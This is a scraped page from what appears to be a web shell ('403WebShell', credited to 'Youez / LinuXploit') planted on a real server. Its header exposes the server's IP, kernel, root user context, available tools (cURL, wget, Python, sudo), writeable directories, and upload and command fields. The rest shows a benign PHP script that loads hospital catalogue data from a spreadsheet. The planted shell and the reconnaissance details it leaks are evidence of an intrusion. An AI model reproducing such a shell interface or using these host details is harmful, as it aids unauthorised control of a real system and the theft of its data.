Warning: chmod(): Operation not permitted in /data/html/improve/wp-content/plugins/wordfence/wordfence.php on line 8
403WebShell
403Webshell
Server IP : 52.9.100.119  /  Your IP : 216.73.216.135
Web Server : Apache/2.4.61 (Amazon) OpenSSL/1.0.2k-fips PHP/7.3.30 Phusion_Passenger/5.1.5
System : Linux ip-172-31-9-35 4.14.355-196.618.amzn1.x86_64 #1 SMP Mon Apr 7 17:09:50 UTC 2025 x86_64
User : root ( 0)
PHP Version : 7.3.30
Disable Function : exec,passthru,shell_exec,system,popen,proc_open
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /data/html/domik-general/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /data/html/domik-general//cargaCatalogos.php
<?php

header('Access-Control-Allow-Origin: *');
header('Content-Type: application/json,application/x-www-form-urlencoded,multipart/form-data');
header('Access-Control-Allow-Headers: Content-Type');
require 'lib/rb_conf.php';
R::fancyDebug(FALSE);
require 'vendor/autoload.php';
use PhpOffice\PhpSpreadsheet\Spreadsheet;
use PhpOffice\PhpSpreadsheet\Writer\Xlsx;
set_time_limit(5000);

R::fancyDebug(false);

$inputFileType = 'Xlsx';
$inputFileName = 'catalogos.xlsx';

$hosp_arr = array();

$reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader($inputFileType);
/** Load $inputFileName to a Spreadsheet Object  **/
$spreadsheet = $reader->load($inputFileName);

$sheet = $spreadsheet->getActiveSheet();

foreach ($sheet->getRowIterator() as $fila){
    $test_array = array();
    foreach ($fila->getCellIterator() as $celda){

        $valor = $celda->getValue();
        if($valor != null){
            array_push($test_array,$valor);
        }
        if(count($test_array)  == 3){

            $colors_arr = array();
            $models_arr = array();

            $colors_beans = array();
            $models_beans = array();

            $hospital_bean = R::findOne('hospital','name = ?',[$test_array[0]]);
            $area_bean = R::findOne('area','name = ? and hospital_id = ?',[$test_array[1],$hospital_bean->id]);
            $area_bean2 = R::getRow("select * from area where name = ? and hospital_id = ?",[$test_array[1],$hospital_bean->id]);
            $m_first_split = (explode("\n",$test_array[2]));
            foreach ($m_first_split as $fs){
                $m_second_split = (explode(" - ",$fs));
                $model_split = (explode(" ",$m_second_split[0]));
                $models_arr[] = $model_split[1];
                unset($m_second_split[0]);
                foreach ($m_second_split as $x){
                    $color_split = (explode(" ",$x));
                    $colors_arr[] = $color_split[0];
                }
            }
            $colors_arr = array_unique($colors_arr);
            foreach ($colors_arr as $color_name){
                $color_bean = R::findOne('color','name like ?',["%".$color_name."%"]);
                if($color_bean != null ){
                    $colors_beans[] = $color_bean;
                }
            }
            $models_arr = array_unique($models_arr);
            foreach ($models_arr as $model_name){
                $model_bean = R::findOne('model','name like ?',["%".$model_name."%"]);
                if($model_bean != null ){
                    $models_beans[] = $model_bean;
                }
            }

            $catalog = R::dispense( 'catalog' );
            $catalog->name = $hospital_bean->name." ".$area_bean->name;
            $catalog->area = $area_bean;
            $catalog->sharedModelList = $models_beans;
            $catalog->sharedColorList = $colors_beans;
            R::store($catalog);

        }

    }
}



echo "\n\n";
echo "\n\n";
echo "\n\n";
echo "\n\n";
echo "\n\n";
echo "Todo listo";


Youez - 2016 - github.com/yon3zu
LinuXploit